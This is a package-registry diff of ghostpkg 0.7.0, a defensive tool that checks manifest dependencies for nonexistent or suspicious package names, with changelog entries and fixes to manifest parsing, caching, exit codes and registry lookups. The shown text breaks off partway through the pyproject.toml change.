ghostpkg 0.6.0__tar.gz → 0.7.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (34) hide show
  1. ghostpkg-0.7.0/2.0 +1 -0
  2. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/CHANGELOG.md +62 -1
  3. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/PKG-INFO +1 -1
  4. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/__init__.py +1 -1
  5. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/assess.py +8 -0
  6. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/cache.py +39 -10
  7. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/cli.py +43 -15
  8. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/inspection.py +14 -1
  9. ghostpkg-0.7.0/ghostpkg/manifests.py +294 -0
  10. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/registries.py +27 -7
  11. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/pyproject.toml +1 -1
  12. ghostpkg-0.7.0/tests/test_regressions.py +244 -0
  13. ghostpkg-0.6.0/ghostpkg/manifests.py +0 -193
  14. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/ISSUE_TEMPLATE/bug.yml +0 -0
  15. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
  16. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/ISSUE_TEMPLATE/false-positive.yml +0 -0
  17. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/ISSUE_TEMPLATE/missed-package.yml +0 -0
  18. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/workflows/ci.yml +0 -0
  19. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.gitignore +0 -0
  20. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/CONTRIBUTING.md +0 -0
  21. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/LICENSE +0 -0
  22. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/README.en.md +0 -0
  23. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/README.md +0 -0
  24. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/SECURITY.md +0 -0
  25. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/assets/banner.html +0 -0
  26. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/assets/banner.png +0 -0
  27. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/assets/demo.gif +0 -0
  28. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/assets/make_demo.py +0 -0
  29. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/__main__.py +0 -0
  30. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/data.py +0 -0
  31. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/tests/test_assess.py +0 -0
  32. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/tests/test_cache.py +0 -0
  33. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/tests/test_inspection.py +0 -0
  34. {ghostpkg-0.6.0 → ghostpkg-0.7.0}/tests/test_manifests.py +0 -0
ghostpkg-0.7.0/2.0 ADDED
@@ -0,0 +1 @@
1
+ [REAL PIP] install requests flask
@@ -6,6 +6,66 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
6
6
 
7
7
  ## [Unreleased]
8
8
 
9
+ ## [0.7.0] - 2026-09-01
10
+
11
+ A correctness release. Several of these were **silent** failures -- the tool
12
+ reported success having never performed the check, which for a security tool is
13
+ worse than crashing. Found by a systematic audit rather than by users.
14
+
15
+ ### Fixed -- silent misses
16
+ - **Every package whose name begins with `http` was dropped from
17
+ `requirements.txt`.** A filter meant to skip bare URLs matched names too, so
18
+ `httpx`, `httpcore`, `httplib2` and friends were never checked and the tool
19
+ still printed "all packages look fine". `httpx` is a top-100 PyPI project.
20
+ - **`-r` and `-c` includes were ignored**, so a project that splits its
21
+ requirements across files was only half checked. Includes are now followed,
22
+ with cycle detection and a depth limit.
23
+
24
+ ### Fixed -- false blocks
25
+ - **Direct references and private indexes.** `internal-lib @ git+https://...`
26
+ was read as the plain name `internal-lib`, which is absent from public PyPI,
27
+ so every internal package in a company using its own index was **blocked**.
28
+ Direct references, `--index-url`, editable installs, local paths and hashes
29
+ are now recognised and skipped.
30
+ - **Any `.txt` file was parsed as requirements.** `README.txt` became the
31
+ package list `['Install', 'Run', 'numpy']` -- two confident blocks on prose.
32
+ Only `requirements*.txt`, `constraints*.txt` and `*.in` are accepted now, and
33
+ anything else is refused by name.
34
+ - **`--deep` judged packages by install scripts they merely shipped.** Matching
35
+ `setup.py` by basename meant a package vendoring a dependency or including
36
+ packaging test fixtures was blocked on somebody else's code. Only the
37
+ archive's own top-level install script is read.
38
+
39
+ ### Fixed -- wrong exit codes and lost results
40
+ - **A connection that failed mid-response escaped as a traceback and exited
41
+ `1`** -- the code meaning "a package does not exist". `urlopen` only wraps
42
+ failures that happen while connecting, so a stalled proxy or a reset
43
+ connection read as a confirmed detection. All lookup failures are now
44
+ `RegistryError`.
45
+ - **One failed lookup discarded the entire scan**, including already-confirmed
46
+ blocks, and skipped the cache write so the inevitable retry re-issued every
47
+ request. Failures are now per-name, with a new `ERROR` verdict, and exit
48
+ code `2` -- an unchecked name is never a pass.
49
+ - **`ghostpkg scan <directory>`** crashed with a traceback; it now explains
50
+ itself and exits `2`.
51
+
52
+ ### Fixed -- wrong answers
53
+ - **npm cache keys collapsed case-distinct packages.** `JSONStream` and
54
+ `jsonstream` are two different real packages; lowercasing both into one key
55
+ served one package's facts for the other, including a wrong `exists`. Keys
56
+ are now normalised per ecosystem -- PEP 503 for PyPI, exact for npm.
57
+
58
+ ### Changed
59
+ - **npm lookups now request gzip.** `@types/node` was 10.6 MB per lookup and is
60
+ now 1.35 MB; `react` went from 6.6 MB to 1.30 MB. Responses are also size-capped.
61
+ - **Repeated names are looked up once.** Manifests repeat names, and following
62
+ includes makes that more likely.
63
+ - `pyproject.toml` now reads PEP 735 `[dependency-groups]`, and Poetry group
64
+ dependencies are found on Python 3.9/3.10 as well as 3.11+.
65
+ - `package.json` now reads `peerDependencies`.
66
+ - The cache takes a lock around its counters and entry map, and its docstring
67
+ no longer claims threads only read from it -- they do not.
68
+
9
69
  ## [0.6.0] - 2026-09-01
10
70
 
11
71
  ### Fixed
@@ -184,7 +244,8 @@ First release.
184
244
  - No corpus of hallucinated package names is shipped, following the decision of
185
245
  the USENIX'25 authors not to publish theirs.
186
246
 
187
- [Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.6.0...HEAD
247
+ [Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.7.0...HEAD
248
+ [0.7.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.7.0
188
249
  [0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
189
250
  [0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
190
251
  [0.4.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.4.0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: ghostpkg
3
- Version: 0.6.0
3
+ Version: 0.7.0
4
4
  Summary: Catch package names that do not exist before you install them
5
5
  Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
6
6
  Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
@@ -1,6 +1,6 @@
1
1
  """ghostpkg -- catch package names that do not exist before you install them."""
2
2
 
3
- __version__ = "0.6.0"
3
+ __version__ = "0.7.0"
4
4
 
5
5
  from .assess import Finding, Verdict, assess
6
6
  from .registries import PackageFacts, RegistryError, fetch
@@ -29,6 +29,10 @@ class Verdict(str, Enum):
29
29
  OK = "OK"
30
30
  WARN = "WARN"
31
31
  BLOCK = "BLOCK"
32
+ #: The registry could not be reached for this name. Never a pass: a
33
+ #: security check that silently succeeds when it could not run is worse
34
+ #: than no check at all.
35
+ ERROR = "ERROR"
32
36
 
33
37
 
34
38
  @dataclass
@@ -43,6 +47,10 @@ class Finding:
43
47
  def is_blocked(self) -> bool:
44
48
  return self.verdict is Verdict.BLOCK
45
49
 
50
+ @property
51
+ def is_error(self) -> bool:
52
+ return self.verdict is Verdict.ERROR
53
+
46
54
 
47
55
  def edit_distance(left: str, right: str, cutoff: int = 3) -> int:
48
56
  """Damerau-Levenshtein distance, abandoning early once it exceeds `cutoff`.
@@ -17,8 +17,10 @@ from __future__ import annotations
17
17
 
18
18
  import json
19
19
  import os
20
+ import re
20
21
  import sys
21
22
  import tempfile
23
+ import threading
22
24
  import time
23
25
  from dataclasses import asdict
24
26
  from pathlib import Path
@@ -61,7 +63,15 @@ def ttl_for(facts: PackageFacts) -> int:
61
63
 
62
64
 
63
65
  class Cache:
64
- """Read once, write once. Threads only read, so no locking is needed."""
66
+ """Loaded once, written once, read and updated from worker threads between.
67
+
68
+ `put` is called from the scan's thread pool, so this is not lock-free by
69
+ virtue of nobody mutating it -- an earlier version of this docstring
70
+ claimed that and was wrong. It is safe because `dict.__setitem__` is
71
+ atomic under the GIL and `save`/`_prune` only run after the pool has shut
72
+ down. The lock exists so that stops being load-bearing on free-threaded
73
+ builds, where that guarantee does not hold.
74
+ """
65
75
 
66
76
  def __init__(self, directory: Path | None = None, enabled: bool = True) -> None:
67
77
  self.enabled = enabled
@@ -70,6 +80,7 @@ class Cache:
70
80
  self._dirty = False
71
81
  self.hits = 0
72
82
  self.misses = 0
83
+ self._lock = threading.Lock()
73
84
  if self.enabled:
74
85
  self._load()
75
86
 
@@ -90,44 +101,62 @@ class Cache:
90
101
 
91
102
  @staticmethod
92
103
  def _key(ecosystem: str, name: str) -> str:
93
- return f"{ecosystem}:{name.lower()}"
104
+ """Normalise per ecosystem, because they do not agree.
105
+
106
+ PyPI names are case-insensitive and treat `-`, `_` and `.` as the same
107
+ separator (PEP 503), so `zope.interface` and `Zope_Interface` are one
108
+ package. npm names are case-sensitive, and `JSONStream` and `jsonstream`
109
+ are two different real packages -- lowercasing both into one key served
110
+ one package's facts for the other, including a wrong `exists`.
111
+ """
112
+ if ecosystem == "pypi":
113
+ return f"pypi:{re.sub(r'[-_.]+', '-', name).lower()}"
114
+ return f"{ecosystem}:{name}"
94
115
 
95
116
  def get(self, ecosystem: str, name: str) -> PackageFacts | None:
96
117
  if not self.enabled:
97
118
  return None
98
- entry = self._entries.get(self._key(ecosystem, name))
119
+ with self._lock:
120
+ entry = self._entries.get(self._key(ecosystem, name))
99
121
  if not isinstance(entry, dict):
100
- self.misses += 1
122
+ self._miss()
101
123
  return None
102
124
  stored_at = entry.get("at")
103
125
  ttl = entry.get("ttl")
104
126
  facts = entry.get("facts")
105
127
  if not isinstance(stored_at, (int, float)) or not isinstance(ttl, (int, float)):
106
- self.misses += 1
128
+ self._miss()
107
129
  return None
108
130
  if time.time() - stored_at > ttl:
109
- self.misses += 1
131
+ self._miss()
110
132
  return None
111
133
  try:
112
134
  revived = PackageFacts(**facts)
113
135
  except (TypeError, ValueError):
114
- self.misses += 1
136
+ self._miss()
115
137
  return None
116
- self.hits += 1
138
+ with self._lock:
139
+ self.hits += 1
117
140
  # keep the caller's spelling of the name rather than the cached one
118
141
  if revived.name != name:
119
142
  revived = PackageFacts(**{**asdict(revived), "name": name})
120
143
  return revived
121
144
 
145
+ def _miss(self) -> None:
146
+ with self._lock:
147
+ self.misses += 1
148
+
122
149
  def put(self, facts: PackageFacts) -> None:
123
150
  if not self.enabled:
124
151
  return
125
- self._entries[self._key(facts.ecosystem, facts.name)] = {
152
+ entry = {
126
153
  "at": time.time(),
127
154
  "ttl": ttl_for(facts),
128
155
  "facts": asdict(facts),
129
156
  }
130
- self._dirty = True
157
+ with self._lock:
158
+ self._entries[self._key(facts.ecosystem, facts.name)] = entry
159
+ self._dirty = True
131
160
 
132
161
  def _prune(self) -> None:
133
162
  now = time.time()
@@ -51,6 +51,7 @@ class Palette:
51
51
 
52
52
  MARKS = {
53
53
  Verdict.BLOCK: ("BLOCKED", "red"),
54
+ Verdict.ERROR: ("ERROR", "red"),
54
55
  Verdict.WARN: ("WARNING", "yellow"),
55
56
  Verdict.OK: ("ok", "green"),
56
57
  }
@@ -80,14 +81,18 @@ def render(findings: list[Finding], palette: Palette, quiet: bool) -> None:
80
81
  def summarise(findings: list[Finding], palette: Palette) -> None:
81
82
  blocked = [f for f in findings if f.verdict is Verdict.BLOCK]
82
83
  warned = [f for f in findings if f.verdict is Verdict.WARN]
84
+ errored = [f for f in findings if f.verdict is Verdict.ERROR]
83
85
 
84
86
  print()
85
87
  if blocked:
86
88
  names = ", ".join(f.name for f in blocked)
87
89
  print(palette.red(f" {len(blocked)} blocked: {names}"))
90
+ if errored:
91
+ names = ", ".join(f.name for f in errored)
92
+ print(palette.red(f" {len(errored)} could not be checked: {names}"))
88
93
  if warned:
89
94
  print(palette.yellow(f" {len(warned)} to review by hand"))
90
- if not blocked and not warned:
95
+ if not blocked and not warned and not errored:
91
96
  print(palette.green(f" all {len(findings)} packages look fine"))
92
97
 
93
98
 
@@ -99,11 +104,24 @@ def evaluate(
99
104
  deep: bool = False,
100
105
  ) -> list[Finding]:
101
106
  def one(name: str) -> Finding:
102
- facts = cache.get(ecosystem, name) if cache else None
103
- if facts is None:
104
- facts = fetch(name, ecosystem)
105
- if cache:
106
- cache.put(facts)
107
+ # A failure on one name must not discard the whole scan. It used to:
108
+ # pool.map re-raised the first exception while iterating, throwing away
109
+ # every confirmed BLOCK alongside it and skipping the cache write, so
110
+ # the inevitable retry re-issued every lookup and made a rate-limit
111
+ # response self-amplifying.
112
+ try:
113
+ facts = cache.get(ecosystem, name) if cache else None
114
+ if facts is None:
115
+ facts = fetch(name, ecosystem)
116
+ if cache:
117
+ cache.put(facts)
118
+ except RegistryError as exc:
119
+ return Finding(
120
+ name=name,
121
+ ecosystem=ecosystem,
122
+ verdict=Verdict.ERROR,
123
+ reasons=[f"could not check: {exc}"],
124
+ )
107
125
 
108
126
  signals = None
109
127
  # Only young packages are worth the download: a registered slopsquat is
@@ -124,11 +142,14 @@ def evaluate(
124
142
 
125
143
  return assess(facts, strict=strict, signals=signals)
126
144
 
145
+ # Look each distinct name up once. A manifest can repeat a name, and
146
+ # following -r includes makes that more likely.
147
+ unique = list(dict.fromkeys(names))
127
148
  with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
128
- findings = list(pool.map(one, names))
149
+ results = dict(zip(unique, pool.map(one, unique)))
129
150
  if cache:
130
151
  cache.save()
131
- return findings
152
+ return [results[name] for name in names]
132
153
 
133
154
 
134
155
  def build_parser() -> argparse.ArgumentParser:
@@ -186,12 +207,18 @@ def main(argv: list[str] | None = None) -> int:
186
207
  if not args.path.exists():
187
208
  print(f"ghostpkg: no such file: {args.path}", file=sys.stderr)
188
209
  return EXIT_ERROR
210
+ if args.path.is_dir():
211
+ print(
212
+ f"ghostpkg: {args.path} is a directory; pass a manifest file",
213
+ file=sys.stderr,
214
+ )
215
+ return EXIT_ERROR
189
216
  try:
190
217
  names, ecosystem = load_manifest(args.path)
191
218
  except UnsupportedManifest as exc:
192
219
  print(f"ghostpkg: {exc}", file=sys.stderr)
193
220
  return EXIT_ERROR
194
- except (json.JSONDecodeError, UnicodeDecodeError, ValueError) as exc:
221
+ except (json.JSONDecodeError, UnicodeDecodeError, ValueError, OSError) as exc:
195
222
  print(f"ghostpkg: could not parse {args.path}: {exc}", file=sys.stderr)
196
223
  return EXIT_ERROR
197
224
  if not names:
@@ -201,11 +228,7 @@ def main(argv: list[str] | None = None) -> int:
201
228
  names, ecosystem = args.names, args.ecosystem
202
229
 
203
230
  cache = Cache(enabled=not args.no_cache)
204
- try:
205
- findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
206
- except RegistryError as exc:
207
- print(f"ghostpkg: {exc}", file=sys.stderr)
208
- return EXIT_ERROR
231
+ findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
209
232
 
210
233
  if args.json:
211
234
  print(
@@ -227,7 +250,12 @@ def main(argv: list[str] | None = None) -> int:
227
250
  render(findings, palette, args.quiet)
228
251
  summarise(findings, palette)
229
252
 
230
- return EXIT_BLOCKED if any(f.is_blocked for f in findings) else EXIT_OK
253
+ if any(f.is_blocked for f in findings):
254
+ return EXIT_BLOCKED
255
+ # An unchecked name is not a pass.
256
+ if any(f.is_error for f in findings):
257
+ return EXIT_ERROR
258
+ return EXIT_OK
231
259
 
232
260
 
233
261
  if __name__ == "__main__":
@@ -146,7 +146,20 @@ def _read_member(handle, member, size: int) -> str | None:
146
146
 
147
147
 
148
148
  def _interesting(path: str, ecosystem: str) -> bool:
149
- name = path.rsplit("/", 1)[-1]
149
+ """Only the archive's own install script, never a nested one.
150
+
151
+ Matching on the basename alone meant a package that ships packaging test
152
+ fixtures or vendors a dependency was judged on somebody else's
153
+ `setup.py` -- and since install signals block a young package, that was
154
+ the one false-positive path in the blocking logic.
155
+
156
+ Both ecosystems put the real one exactly one directory down:
157
+ `<name>-<version>/setup.py` for an sdist, `package/package.json` for npm.
158
+ """
159
+ parts = path.strip("/").split("/")
160
+ if len(parts) != 2:
161
+ return False
162
+ name = parts[1]
150
163
  if ecosystem == "npm":
151
164
  return name == "package.json"
152
165
  return name in PY_INSTALL_FILES
@@ -0,0 +1,294 @@
1
+ """Manifest parsing.
2
+
3
+ Each format is recognised explicitly. Guessing is what made an earlier version
4
+ read `pyproject.toml` with the requirements.txt parser and report TOML keys as
5
+ package names -- `build-backend` came back "does not exist", `version` came back
6
+ "ok" because a package of that name exists. A security tool that confidently
7
+ reports nonsense is worse than one that refuses to run.
8
+
9
+ Two later bugs came from the same root cause, filtering by prefix instead of by
10
+ structure:
11
+
12
+ * Skipping lines that start with `http` was meant to drop bare URLs. It also
13
+ dropped `httpx`, `httpcore` and `httplib2` -- silently, so the tool reported
14
+ "all packages look fine" having never checked them.
15
+ * Treating every `.txt` file as a requirements file turned `README.txt` into
16
+ the package list `['Install', 'Run', 'numpy']`, two of which do not exist.
17
+ """
18
+
19
+ from __future__ import annotations
20
+
21
+ import json
22
+ import re
23
+ from pathlib import Path
24
+
25
+ # PEP 508 name: letter/digit at each end, dots/hyphens/underscores inside.
26
+ NAME = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)")
27
+
28
+ # `name @ https://...` is a direct reference: the source is stated explicitly
29
+ # and is not the public registry, so there is nothing for us to check.
30
+ DIRECT_REFERENCE = re.compile(r"^\s*[A-Za-z0-9][A-Za-z0-9._-]*\s*(\[[^\]]*\])?\s*@\s")
31
+
32
+ REQUIREMENTS_NAMES = ("requirements", "constraints", "dev-requirements", "test-requirements")
33
+
34
+ SUPPORTED = "requirements*.txt, *.in, pyproject.toml, package.json"
35
+
36
+ MAX_INCLUDE_DEPTH = 10
37
+
38
+
39
+ class UnsupportedManifest(ValueError):
40
+ """The file is not a manifest ghostpkg knows how to read."""
41
+
42
+
43
+ def _is_url(text: str) -> bool:
44
+ return "://" in text
45
+
46
+
47
+ def parse_requirements(
48
+ text: str,
49
+ *,
50
+ base: Path | None = None,
51
+ _seen: set[Path] | None = None,
52
+ _depth: int = 0,
53
+ ) -> list[str]:
54
+ """Package names from a requirements file.
55
+
56
+ Follows `-r` / `--requirement` includes when `base` is given, because a
57
+ requirements file that pulls in `base.txt` was otherwise only half checked.
58
+ """
59
+ seen = _seen if _seen is not None else set()
60
+ names: list[str] = []
61
+
62
+ for raw in text.splitlines():
63
+ line = raw.strip()
64
+ if not line or line.startswith("#"):
65
+ continue
66
+
67
+ # Strip an inline comment, but only when it is preceded by whitespace --
68
+ # a `#` can legitimately appear inside a URL fragment.
69
+ if " #" in line:
70
+ line = line.split(" #", 1)[0].strip()
71
+ if not line:
72
+ continue
73
+
74
+ if line.startswith("-"):
75
+ include = _include_target(line)
76
+ if include and base is not None and _depth < MAX_INCLUDE_DEPTH:
77
+ names.extend(_read_include(include, base, seen, _depth))
78
+ continue
79
+
80
+ # A bare URL or local path, not a name we can look up.
81
+ if _is_url(line) or line.startswith((".", "/", "~")):
82
+ continue
83
+ # `name @ url` states its own source; the registry has no say.
84
+ if DIRECT_REFERENCE.match(line):
85
+ continue
86
+
87
+ match = NAME.match(line)
88
+ if match:
89
+ names.append(match.group(1))
90
+
91
+ return names
92
+
93
+
94
+ def _include_target(line: str) -> str | None:
95
+ """The path from a `-r file` / `--requirement=file` / `-c file` line."""
96
+ for flag in ("--requirement", "--constraint", "-r", "-c"):
97
+ if line == flag or line.startswith(flag + "="):
98
+ return line[len(flag) + 1 :].strip() or None
99
+ if line.startswith(flag + " "):
100
+ return line[len(flag) :].strip() or None
101
+ return None
102
+
103
+
104
+ def _read_include(target: str, base: Path, seen: set[Path], depth: int) -> list[str]:
105
+ if _is_url(target):
106
+ return []
107
+ try:
108
+ path = (base / target).resolve()
109
+ except (OSError, ValueError):
110
+ return []
111
+ if path in seen or not path.is_file():
112
+ return []
113
+ seen.add(path)
114
+ try:
115
+ text = path.read_text(encoding="utf-8")
116
+ except (OSError, UnicodeDecodeError):
117
+ return []
118
+ return parse_requirements(text, base=path.parent, _seen=seen, _depth=depth + 1)
119
+
120
+
121
+ def parse_package_json(text: str) -> list[str]:
122
+ data = json.loads(text)
123
+ if not isinstance(data, dict):
124
+ raise ValueError("package.json does not contain an object")
125
+ names: list[str] = []
126
+ for key in ("dependencies", "devDependencies", "optionalDependencies", "peerDependencies"):
127
+ section = data.get(key)
128
+ if isinstance(section, dict):
129
+ names.extend(str(name) for name in section)
130
+ seen: set[str] = set()
131
+ return [n for n in names if not (n in seen or seen.add(n))]
132
+
133
+
134
+ def _requirement_name(spec: str) -> str | None:
135
+ spec = spec.strip()
136
+ if not spec or spec.startswith(("#", "-")):
137
+ return None
138
+ if _is_url(spec) or DIRECT_REFERENCE.match(spec):
139
+ return None
140
+ match = NAME.match(spec)
141
+ return match.group(1) if match else None
142
+
143
+
144
+ def _toml_arrays(text: str, table: str, key: str) -> list[str]:
145
+ """Read a string array out of one TOML table without a TOML parser.
146
+
147
+ Only the shapes dependency declarations use are handled. This exists
148
+ because tomllib is 3.11+ and ghostpkg supports 3.9 with no dependencies.
149
+ """
150
+ current = ""
151
+ collected: list[str] = []
152
+ depth = 0
153
+ buffer = ""
154
+
155
+ for raw in text.splitlines():
156
+ line = raw.strip()
157
+ if depth == 0:
158
+ if line.startswith("[") and line.endswith("]"):
159
+ current = line[1:-1].strip().strip('"')
160
+ continue
161
+ if current != table:
162
+ continue
163
+ stripped = line.split("#", 1)[0].strip()
164
+ if not stripped.startswith(key):
165
+ continue
166
+ after = stripped[len(key) :].lstrip()
167
+ if not after.startswith("="):
168
+ continue
169
+ buffer = after[1:].strip()
170
+ if not buffer.startswith("["):
171
+ continue
172
+ depth = 1
173
+ buffer = buffer[1:]
174
+ else:
175
+ buffer += " " + line.split("#", 1)[0].strip()
176
+
177
+ if depth and "]" in buffer:
178
+ buffer = buffer[: buffer.index("]")]
179
+ depth = 0
180
+ collected.extend(re.findall(r'["\']([^"\']+)["\']', buffer))
181
+ buffer = ""
182
+ return collected
183
+
184
+
185
+ def _toml_table_keys(text: str, table: str) -> list[str]:
186
+ keys: list[str] = []
187
+ current = ""
188
+ for raw in text.splitlines():
189
+ line = raw.split("#", 1)[0].strip()
190
+ if line.startswith("[") and line.endswith("]"):
191
+ current = line[1:-1].strip().strip('"')
192
+ continue
193
+ if current != table or "=" not in line:
194
+ continue
195
+ name = line.split("=", 1)[0].strip().strip('"').strip("'")
196
+ if name:
197
+ keys.append(name)
198
+ return keys
199
+
200
+
201
+ def _poetry_names(section: dict) -> list[str]:
202
+ # `python` is an interpreter constraint, not a package.
203
+ return [name for name in section if name.lower() != "python"]
204
+
205
+
206
+ def parse_pyproject(text: str) -> list[str]:
207
+ """Dependencies from PEP 621, PEP 735 and Poetry."""
208
+ try:
209
+ import tomllib # noqa: PLC0415
210
+ except ImportError:
211
+ tomllib = None # type: ignore[assignment]
212
+
213
+ names: list[str] = []
214
+
215
+ if tomllib is not None:
216
+ data = tomllib.loads(text)
217
+ project = data.get("project") or {}
218
+ for spec in project.get("dependencies") or []:
219
+ name = _requirement_name(str(spec))
220
+ if name:
221
+ names.append(name)
222
+ for group in (project.get("optional-dependencies") or {}).values():
223
+ for spec in group:
224
+ name = _requirement_name(str(spec))
225
+ if name:
226
+ names.append(name)
227
+ # PEP 735, where uv and pip put dev dependencies.
228
+ for group in (data.get("dependency-groups") or {}).values():
229
+ if isinstance(group, list):
230
+ for spec in group:
231
+ if isinstance(spec, str):
232
+ name = _requirement_name(spec)
233
+ if name:
234
+ names.append(name)
235
+ poetry = (data.get("tool") or {}).get("poetry") or {}
236
+ for section in ("dependencies", "dev-dependencies"):
237
+ if isinstance(poetry.get(section), dict):
238
+ names.extend(_poetry_names(poetry[section]))
239
+ for group in (poetry.get("group") or {}).values():
240
+ if isinstance(group, dict) and isinstance(group.get("dependencies"), dict):
241
+ names.extend(_poetry_names(group["dependencies"]))
242
+ else:
243
+ for spec in _toml_arrays(text, "project", "dependencies"):
244
+ name = _requirement_name(spec)
245
+ if name:
246
+ names.append(name)
247
+ for table in ("project.optional-dependencies", "dependency-groups"):
248
+ for key in _toml_table_keys(text, table):
249
+ for spec in _toml_arrays(text, table, key):
250
+ name = _requirement_name(spec)
251
+ if name:
252
+ names.append(name)
253
+ # Poetry groups live in their own tables; find them by scanning headers.
254
+ poetry_tables = ["tool.poetry.dependencies", "tool.poetry.dev-dependencies"]
255
+ for raw in text.splitlines():
256
+ line = raw.split("#", 1)[0].strip()
257
+ if (
258
+ line.startswith("[tool.poetry.group.")
259
+ and line.endswith(".dependencies]")
260
+ ):
261
+ poetry_tables.append(line[1:-1])
262
+ for table in poetry_tables:
263
+ names.extend(
264
+ name for name in _toml_table_keys(text, table) if name.lower() != "python"
265
+ )
266
+
267
+ seen: set[str] = set()
268
+ return [n for n in names if not (n in seen or seen.add(n))]
269
+
270
+
271
+ def _looks_like_requirements(name: str) -> bool:
272
+ stem = name.rsplit(".", 1)[0]
273
+ if name.endswith(".in"):
274
+ return True
275
+ if not name.endswith(".txt"):
276
+ return False
277
+ return any(word in stem for word in REQUIREMENTS_NAMES)
278
+
279
+
280
+ def load_manifest(path: Path) -> tuple[list[str], str]:
281
+ """Return (package names, ecosystem). Raises UnsupportedManifest."""
282
+ name = path.name.lower()
283
+
284
+ if name == "package.json":
285
+ return parse_package_json(path.read_text(encoding="utf-8")), "npm"
286
+ if name == "pyproject.toml":
287
+ return parse_pyproject(path.read_text(encoding="utf-8")), "pypi"
288
+ if _looks_like_requirements(name):
289
+ text = path.read_text(encoding="utf-8")
290
+ return parse_requirements(text, base=path.parent), "pypi"
291
+
292
+ raise UnsupportedManifest(
293
+ f"don't know how to read {path.name!r}. Supported: {SUPPORTED}"
294
+ )
@@ -6,6 +6,7 @@ so this module deliberately uses urllib rather than requests.
6
6
 
7
7
  from __future__ import annotations
8
8
 
9
+ import gzip
9
10
  import json
10
11
  import urllib.error
11
12
  import urllib.parse
@@ -16,6 +17,10 @@ from datetime import datetime, timezone
16
17
  USER_AGENT = "ghostpkg/0.1 (+https://github.com/m1rwana12/ghostpkg)"
17
18
  TIMEOUT = 15
18
19
 
20
+ # npm serves whole packuments: @types/node is 11 MB uncompressed and 1.4 MB
21
+ # gzipped, and parsing the uncompressed form peaks around 60 MB of objects.
22
+ MAX_RESPONSE_BYTES = 32 * 1024 * 1024
23
+
19
24
 
20
25
  class RegistryError(RuntimeError):
21
26
  """The registry could not be reached or returned something unusable."""
@@ -39,19 +44,34 @@ class PackageFacts:
39
44
 
40
45
 
41
46
  def _get_json(url: str) -> dict | None:
42
- """Fetch and decode JSON. Returns None on a clean 404."""
43
- request = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
47
+ """Fetch and decode JSON. Returns None on a clean 404.
48
+
49
+ Everything that is not a clean 404 becomes a RegistryError. That matters
50
+ more than it looks: urlopen only wraps failures that happen while
51
+ *connecting*, so a stalled or reset connection during `read()` used to
52
+ escape as a bare TimeoutError or ConnectionResetError, leave a traceback,
53
+ and exit 1 -- the code that means "a package does not exist". The most
54
+ ordinary network flakiness read as a confirmed detection.
55
+ """
56
+ request = urllib.request.Request(
57
+ url, headers={"User-Agent": USER_AGENT, "Accept-Encoding": "gzip"}
58
+ )
44
59
  try:
45
60
  with urllib.request.urlopen(request, timeout=TIMEOUT) as response:
46
- return json.loads(response.read().decode("utf-8"))
61
+ raw = response.read(MAX_RESPONSE_BYTES + 1)
62
+ if len(raw) > MAX_RESPONSE_BYTES:
63
+ raise RegistryError(f"{url} returned more than {MAX_RESPONSE_BYTES} bytes")
64
+ if response.headers.get("Content-Encoding") == "gzip":
65
+ raw = gzip.decompress(raw)
66
+ return json.loads(raw.decode("utf-8"))
47
67
  except urllib.error.HTTPError as exc:
48
68
  if exc.code == 404:
49
69
  return None
50
70
  raise RegistryError(f"{url} returned HTTP {exc.code}") from exc
51
- except urllib.error.URLError as exc:
52
- raise RegistryError(f"could not reach {url}: {exc.reason}") from exc
53
- except json.JSONDecodeError as exc:
54
- raise RegistryError(f"{url} returned malformed JSON") from exc
71
+ except RegistryError:
72
+ raise
73
+ except Exception as exc: # noqa: BLE001 - anything else is "lookup failed"
74
+ raise RegistryError(f"could not read {url}: {exc}") from exc
55
75
 
56
76
 
57
77
  def _age_in_days(iso_timestamp: str) -> int | None:
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
4
4
